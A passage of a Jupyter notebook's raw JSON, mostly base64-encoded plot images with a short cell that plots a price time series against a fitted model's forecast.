RERHpx5KcBM7MS2FhVu8lmTarhU+cOWMUVyXSOwV6IiIiIiL9mJYczV/uOG2slyEyYNqjJyIiIiIiEmIU6ImIiIiIiIQYBXoiIiIiIiIhRoGeiIiIiIhIiFGgJyIiIiIiEmIU6ImIiIiIiIQYBXoiIiIiIiIhRoGeiIiIiIhIiFGgJyIiIiIiEmIU6ImIiIiIiIQYBXoiIiIiIiIhRoGeiIiIiIhIiFGgJyIiIiIiEmIU6ImIiIiIiIQYBXoiIiIiIiIhRoGeiIiIiIhIiFGgJyIiIiIiEmIU6ImIiIiIiIQYBXoiIiIiIiIhRoGeiIiIiIhIiFGgJyIiIiIiEmIU6ImIiIiIiIQYBXoiIiIiIiIhRoGeiIiIiIhIiBl2oGcYhtUwjO2GYfzH9/skwzBeNQzjsO+/iZ3O/ZZhGEcMwzhoGMZFnY4vNwxjt++xewzDMIa7LhERERERkckqGBm9LwL7O/3+buB10zTzgNd9v8cwjHnATcB84GLgPsMwrL5r7gfuBPJ8vy4OwrpEREREREQmpWEFeoZhZAOXAX/sdPgq4BHf148AV3c6/oRpmu2maRYCR4BVhmFkAnGmaW40TdMEHu10jYiIiIiIiAzScDN6vwa+AXg6HUs3TbMcwPffNN/xLKC403klvmNZvq9PPd6NYRh3Goax1TCMrVVVVcNcuoiIiIiISGgacqBnGMblQKVpmtsGekkPx8w+jnc/aJoPmqa5wjTNFampqQN8WhERERERkcnFNoxr1wJXGoZxKRABxBmG8VegwjCMTNM0y31lmZW+80uAnE7XZwNlvuPZPRwXERERERGRIRhyRs80zW+ZppltmuZ0vE1W3jBN8yPAs8BtvtNuA57xff0scJNhGOGGYeTibbqy2Vfe2WQYxmpft81bO10jIiIiIiIigzScjF5vfgI8aRjGHUARcAOAaZp7DcN4EtgHuIC7TNN0+675DPAwEAm86PslIiIiIiIiQ2B4G11OPCtWrDC3bt061ssQEREREREZE4ZhbDNNc0VPjwVjjp6IiIiIiIiMIwr0REREREREQowCPRERERERkRCjQE9ERERERCTEKNATEREREREJMQr0REREREREQowCPRERERERkRCjQE9ERERERCTEKNATEREREREJMQr0REREREREQowCPRERERERkRCjQE9ERERERCTEKNATEREREREJMQr0REREREREQowCPRERERERkRCjQE9ERERERCTEKNATEREREREJMQr0REREREREQowCPRERERERkRCjQE9ERERERCTEKNATEREREREJMQr0REREREREQowCPRERERERkRCjQE9ERERERCTEKNATEREREREJMQr0REREREREQowCPRERERERkRCjQE9ERERERCTEKNATEREREREJMQr0REREREREQowCPRERERERkRCjQE9ERERERCTEKNATEREREREJMQr0REREREREQowCPRERERERkRCjQE9ERERERCTEKNATEREREREJMQr0REREREREQowCPRERERERkRCjQE9ERERERCTEKNATEREREREJMQr0REREREREQowCPRERERERkRCjQE9ERERERCTEKNATEREREREJMQr0REREREREQowCPRERERERkRCjQE9ERERERCTEKNATEREREREJMQr0REREREREQsyQAz3DMHIMw3jTMIz9hmHsNQzji77jSYZhvGoYxmHffxM7XfMtwzCOGIZx0DCMizodX24Yxm7fY/cYhmEM72WJiIiIiIhMXsPJ6LmAr5qmORdYDdxlGMY84G7gddM084DXfb/H99hNwHzgYuA+wzCsvnvdD9wJ5Pl+XTyMdYmIiIiIiExqQw70TNMsN/9/e3ceZkdZ5n38e2clG4EQEkIWEjDsSzABZEAEFFxHUEEWx33kdR/HZS6XcWacUceZd/RVRFR0QHQUZF5RcUFgMKDImoQkGAIEAiSBQBICWcievuePp9ruhHQwCX1Od/X3c119dZ86z1N119N1zqnfqTp1MmdUf68C5gKjgTOAy6tmlwNnVn+fAVyZmesz82HgQeDYiBgF7J6Zt2VmAt9v10eSJEmStINekM/oRcR44GjgDmBkZi6GEgaBEVWz0cDCdt0WVdNGV39vPX1by7kgIqZFxLSlS5e+EKVLkiRJUu3sctCLiMHAT4CPZObK7TXdxrTczvTnTsy8JDOnZOaUvffee8eLlSRJkqQeYJeCXkT0pYS8H2bm1dXkJ6vTMal+L6mmLwLGtus+Bni8mj5mG9MlSZIkSTthV666GcB/AnMz8yvt7roGeHv199uBn7ebfm5E9I+ICZSLrtxZnd65KiJeUs3zbe36SJIkSZJ2UJ9d6HsC8FbgnoiYWU37NPAl4KqIeDewADgbIDP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\n", - "text/plain": [ - "
" - ] - }, - "metadata": { - "needs_background": "light" - }, - "output_type": "display_data" - } - ], - "source": [ - "df['forecast']=model_fit.predict(start=250,end=450,dynamic=True)\n", - "df[['Price','forecast']].plot(figsize=(15,8))" - ] - }, - { - "cell_type": "code", - "execution_count": 23, - "id": "a0fc90ff", - "metadata": {}, - "outputs": [ - { - "data": { - "image/png": "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